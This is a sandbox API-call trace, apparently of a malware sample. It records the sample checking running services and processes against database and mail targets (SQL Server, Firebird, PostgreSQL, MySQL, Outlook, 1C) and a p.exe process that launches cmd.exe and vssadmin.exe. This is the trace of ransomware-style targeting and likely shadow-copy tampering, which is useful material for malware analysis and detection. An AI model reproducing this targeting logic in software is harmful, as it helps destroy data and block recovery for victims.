	[0096.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0096.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0096.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0096.209] lstrlenW (lpString="WPDBusEnum") returned 10
	[0096.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0096.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0096.209] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0096.209] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0096.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0096.209] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ee030 | out: hHeap=0x4a0000) returned 1
	[0096.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164
	[0096.212] Process32FirstW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0096.213] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0096.214] lstrlenW (lpString="System") returned 6
	[0096.214] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0096.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0096.214] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0096.214] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0096.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0096.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0096.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0096.214] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0096.215] lstrlenW (lpString="smss.exe") returned 8
	[0096.215] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0096.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0096.215] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0096.215] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0096.215] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0096.216] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0096.216] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0096.216] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0096.216] lstrlenW (lpString="csrss.exe") returned 9
	[0096.216] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0096.216] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0096.217] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0096.217] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0096.217] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0096.217] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0096.217] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0096.217] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0096.218] lstrlenW (lpString="wininit.exe") returned 11
	[0096.218] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0096.218] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0096.218] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0096.218] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0096.218] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0096.218] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0096.218] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0096.218] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0096.219] lstrlenW (lpString="csrss.exe") returned 9
	[0096.219] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0096.219] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0096.219] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0096.219] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0096.219] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0096.219] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0096.219] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0096.220] lstrlenW (lpString="winlogon.exe") returned 12
	[0096.220] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0096.221] lstrlenW (lpString="services.exe") returned 12
	[0096.221] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0096.222] lstrlenW (lpString="lsass.exe") returned 9
	[0096.222] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0096.223] lstrlenW (lpString="lsm.exe") returned 7
	[0096.223] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.224] lstrlenW (lpString="svchost.exe") returned 11
	[0096.225] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.226] lstrlenW (lpString="svchost.exe") returned 11
	[0096.226] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.315] lstrlenW (lpString="svchost.exe") returned 11
	[0096.315] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.316] lstrlenW (lpString="svchost.exe") returned 11
	[0096.316] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.317] lstrlenW (lpString="svchost.exe") returned 11
	[0096.317] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0096.318] lstrlenW (lpString="audiodg.exe") returned 11
	[0096.318] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.319] lstrlenW (lpString="svchost.exe") returned 11
	[0096.319] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.320] lstrlenW (lpString="svchost.exe") returned 11
	[0096.320] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0096.321] lstrlenW (lpString="dwm.exe") returned 7
	[0096.321] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0096.321] lstrlenW (lpString="explorer.exe") returned 12
	[0096.322] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0096.322] lstrlenW (lpString="spoolsv.exe") returned 11
	[0096.322] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0096.323] lstrlenW (lpString="taskhost.exe") returned 12
	[0096.323] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.325] lstrlenW (lpString="svchost.exe") returned 11
	[0096.325] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0096.325] lstrlenW (lpString="taskeng.exe") returned 11
	[0096.326] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0096.326] lstrlenW (lpString="taskhost.exe") returned 12
	[0096.326] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0096.327] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0096.327] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0096.328] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0096.328] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0096.329] lstrlenW (lpString="zoo.exe") returned 7
	[0096.329] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0096.330] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0096.474] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0096.475] lstrlenW (lpString="determined.exe") returned 14
	[0096.475] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0096.476] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0096.476] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0096.477] lstrlenW (lpString="hansen mails.exe") returned 16
	[0096.477] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0096.478] lstrlenW (lpString="choirsas.exe") returned 12
	[0096.478] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0096.478] lstrlenW (lpString="skirt_races.exe") returned 15
	[0096.479] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0096.479] lstrlenW (lpString="actors_radius.exe") returned 17
	[0096.479] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0096.480] lstrlenW (lpString="scheduling.exe") returned 14
	[0096.480] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0096.481] lstrlenW (lpString="michael.exe") returned 11
	[0096.481] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0096.482] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0096.482] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0096.482] lstrlenW (lpString="pleasure.exe") returned 12
	[0096.482] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0096.483] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0096.483] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0096.484] lstrlenW (lpString="electron.exe") returned 12
	[0096.484] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0096.485] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0096.485] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0096.485] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0096.485] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0096.486] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0096.486] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0096.487] lstrlenW (lpString="pointer.exe") returned 11
	[0096.487] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0096.488] lstrlenW (lpString="gd logos.exe") returned 12
	[0096.488] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0096.489] lstrlenW (lpString="algebra validity.exe") returned 20
	[0096.489] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0096.490] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0096.490] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0096.491] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0096.491] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0096.492] lstrlenW (lpString="p.exe") returned 5
	[0096.492] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0096.493] lstrlenW (lpString="cmd.exe") returned 7
	[0096.493] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0096.493] lstrlenW (lpString="conhost.exe") returned 11
	[0096.493] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0096.494] lstrlenW (lpString="vssadmin.exe") returned 12
	[0096.494] Process32NextW (in: hSnapshot=0x164, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0096.495] CloseHandle (hObject=0x164) returned 1
	[0096.495] Sleep (dwMilliseconds=0x1f4) 
	[0097.190] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0c40
	[0097.190] EnumServicesStatusExW (in: hSCManager=0x35d0c40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0097.191] GetLastError () returned 0xea
	[0097.191] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x11e4) returned 0x36ba4f0
	[0097.191] EnumServicesStatusExW (in: hSCManager=0x35d0c40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x11e4, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0097.192] CloseServiceHandle (hSCObject=0x35d0c40) returned 1
	[0097.192] lstrlenW (lpString="Appinfo") returned 7
	[0097.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0097.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0097.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0097.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0097.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0097.192] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0097.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0097.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0097.192] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0097.192] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0097.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0097.192] lstrlenW (lpString="AudioSrv") returned 8
	[0097.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0097.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0097.192] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0097.192] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0097.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0097.193] lstrlenW (lpString="BFE") returned 3
	[0097.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
